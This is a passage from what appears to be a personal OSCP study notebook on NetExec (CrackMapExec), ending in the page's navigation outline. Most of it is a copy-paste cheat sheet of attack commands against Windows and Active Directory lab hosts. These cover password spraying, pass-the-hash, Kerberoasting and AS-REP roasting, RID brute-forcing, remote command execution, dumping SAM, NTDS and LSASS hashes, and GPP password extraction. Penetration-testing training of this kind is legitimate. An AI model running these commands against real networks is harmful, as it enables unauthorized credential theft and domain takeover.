# 3. ONE password against ALL users (not all passwords against one user!)
nxc smb 10.10.10.0/24 -u users.txt -p 'Summer2024!' --continue-on-success
nxc ldap DC_IP -u users.txt -p 'Summer2024!' --continue-on-success
 
# 4. Stop immediately on STATUS_ACCOUNT_LOCKED_OUT
 
# 5. User:pass pairs file (no cartesian product)
nxc smb 10.10.10.10 -u creds.txt -p creds.txt --no-bruteforce --continue-on-success

Flag	Spray meaning
`--continue-on-success`	Keep spraying after first hit
`--no-bruteforce`	Line N of user file → line N of pass file
`-u users.txt -p 'OnePass'`	Classic spray — one password, many users

Lockout rule: If policy shows 5 attempts / 30 min, spray once per window, then wait.

📌 12) Other Protocols

# WinRM (PowerShell Remoting)
nxc winrm 10.10.10.10 -u admin -p password -x "whoami"
 
# MSSQL
nxc mssql 10.10.10.10 -u sa -p password -q "SELECT @@version" --local-auth
nxc mssql 10.10.10.10 -d corp.local -u svc_sql -p 'CrackedPassword' -q "SELECT @@version"
 
# SSH
nxc ssh 10.10.10.10 -u admin -p password -x "id"
 
# LDAP enumeration
nxc ldap 10.10.10.10 -u admin -p password --users
nxc ldap 10.10.10.10 -u admin -p password --groups
nxc ldap 10.10.10.10 -u admin -p password --kerberoasting kerberoast.txt
nxc ldap 10.10.10.10 -u admin -p password --asreproast asrep.txt

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Quick sweep — grab banners + signing status
nxc smb 10.10.10.0/24
 
# RID brute → users.txt (guest/null SMB)
nxc smb 10.10.10.10 -u "guest" -p "" --rid-brute 1000
nxc smb 10.10.10.10 -u "guest" -p "" --rid-brute 1000 2>&1 | grep "(SidTypeUser)" | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
 
'
 
# AS-REP roast (needs users.txt)
nxc ldap DC01.domain.local -u users.txt -p '' --asreproast asreproast.txt
 
# Test creds across subnet
nxc smb 10.10.10.0/24 -u admin -p password
 
# Pass-the-Hash
nxc smb 10.10.10.0/24 -u Administrator -H 'NT_HASH' --local-auth
 
# Password spray (check policy first!)
nxc smb 10.10.10.10 -u admin -p password --pass-pol
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success
 
# Enumerate shares
nxc smb 10.10.10.10 -u admin -p password --shares
 
# Kerberos + spider + download (lab pattern)
nxc smb DC.voleur.htb -u ryan.naylor -p 'PASS' -d voleur.htb -k --shares
nxc smb DC.voleur.htb -u ryan.naylor -p 'PASS' -d voleur.htb -k --spider IT --regex .
nxc smb DC.voleur.htb -u ryan.naylor -p 'PASS' -d voleur.htb -k --share IT \
  --get-file 'First-Line Support\\Access_Review.xlsx' Access_Review.xlsx
 
# Kerberos ticket from ccache
export KRB5CCNAME=/path/to/user.ccache
nxc smb DC.domain.htb -k --use-kcache --shares
 
# Enumerate users
nxc smb 10.10.10.10 -u admin -p password --users
 
# Execute command (needs Pwn3d! level)
nxc smb 10.10.10.10 -u admin -p password -x "whoami"
 
# Dump hashes
nxc smb 10.10.10.10 -u admin -p password --sam
nxc smb DC_IP -u admin -p password --ntds
 
# SeBackupPrivilege / Backup Operators (no admin — after whoami /priv)
nxc smb 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -M backup_operator
# Full paths (diskshadow, robocopy, wbadmin, DLLs): [[SeBackupPrivilege]]
 
# User descriptions / export
nxc smb TARGET -u admin -p password -M user-desc
nxc ldap DC_IP -u admin -p password --users
 
# gMSA / KeePass
nxc ldap DC_IP -u USER -p PASS --gmsa
nxc smb TARGET -u admin -p password -M keepass_discover
 
# Hosts file from SMB
nxc smb 10.129.8.240 --generate-hosts-file hosts
 
# LSASS dump (NOT mimikatz/minikatz — use current modules)
nxc smb 10.10.10.10 -u admin -p password -M lsassy
nxc smb 10.10.10.10 -u admin -p password -M gpp_password
nxc smb 10.10.10.10 -M ms17-010
 
# Tombstone — deleted AD users (Fabrizzio53 fork + uv if missing from stock nxc)
cd /opt/NetExec && uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p 'PASS' -k -M tombstone -o ACTION=query
uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p 'PASS' -k -M tombstone -o ACTION=restore ID=GUID_FROM_QUERY

Pearson's OSCP Notebook

Explorer

CrackMapExec - nxc

CrackMapExec / NetExec — Reference

What is CrackMapExec?

Install (Kali)

Syntax

Protocols

📌 1) All Common Flags (SMB)

LDAP AS-REP roast (built-in flag)

📌 2b) RID brute — enumerate users (guest / null SMB)

📌 2) Host Discovery & Banner Grabbing

Sample output

📌 3) Authentication Testing

Output status codes

📌 4) Password Spraying

📌 4b) Kerberos authentication (-k)

📌 5) Share Enumeration, Spider & File Download

Spider a share (find files)

Download a file (--get-file)

📌 6) User & Domain Enumeration

📌 7) Command Execution

📌 8) Hash Dumping — --ntds, --sam, --lsa

📌 8b) User export & user descriptions

Export domain users (built-in flags)

User description modules (passwords in description / info)

📌 8c) gMSA — Group Managed Service Accounts (--gmsa)

📌 8d) KeePass modules — keepass_discover / keepass_trigger

Step 1 — Discover

Step 2 — Trigger (optional — needs admin + user to unlock KeePass)

Offline .kdbx route

Memory dump route (KeePass < 2.54)

📌 9) Modules (-M)

Syntax

OSCP — credential dump (replaces mimikatz/minikatz)

OSCP — Backup Operators / SeBackupPrivilege (backup_operator)

OSCP — GPP, policy, quick wins

OSCP — vuln / misconfig checks

OSCP — coerce / relay setup

OSCP — slinky (writable share NTLM lure)

OSCP — NTDS / DC

OSCP — execution / stagers

OSCP — AD / enum modules

OSCP — saved creds on disk

Full SMB module list (current NetExec)

📌 10) nxc ldap — AD LDAP Enumeration

📌 tombstone module (ldap -M tombstone)

Module options

Query deleted objects (voleur.htb)

Restore deleted user

Delete object (send to tombstone)

voleur.htb full chain (after restore)

nxc ldap vs ldapsearch

📌 11) Password Spray — SMB + LDAP Combined Workflow

📌 12) Other Protocols

📌 Quick OSCP Cheat Sheet (Copy/Paste)

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

📌 4b) Kerberos authentication (`-k`)

Download a file (`--get-file`)

📌 8) Hash Dumping — `--ntds`, `--sam`, `--lsa`

User description modules (passwords in `description` / `info`)

📌 8c) gMSA — Group Managed Service Accounts (`--gmsa`)

📌 8d) KeePass modules — `keepass_discover` / `keepass_trigger`

Offline `.kdbx` route

📌 9) Modules (`-M`)

OSCP — `slinky` (writable share NTLM lure)

📌 tombstone module (`ldap -M tombstone`)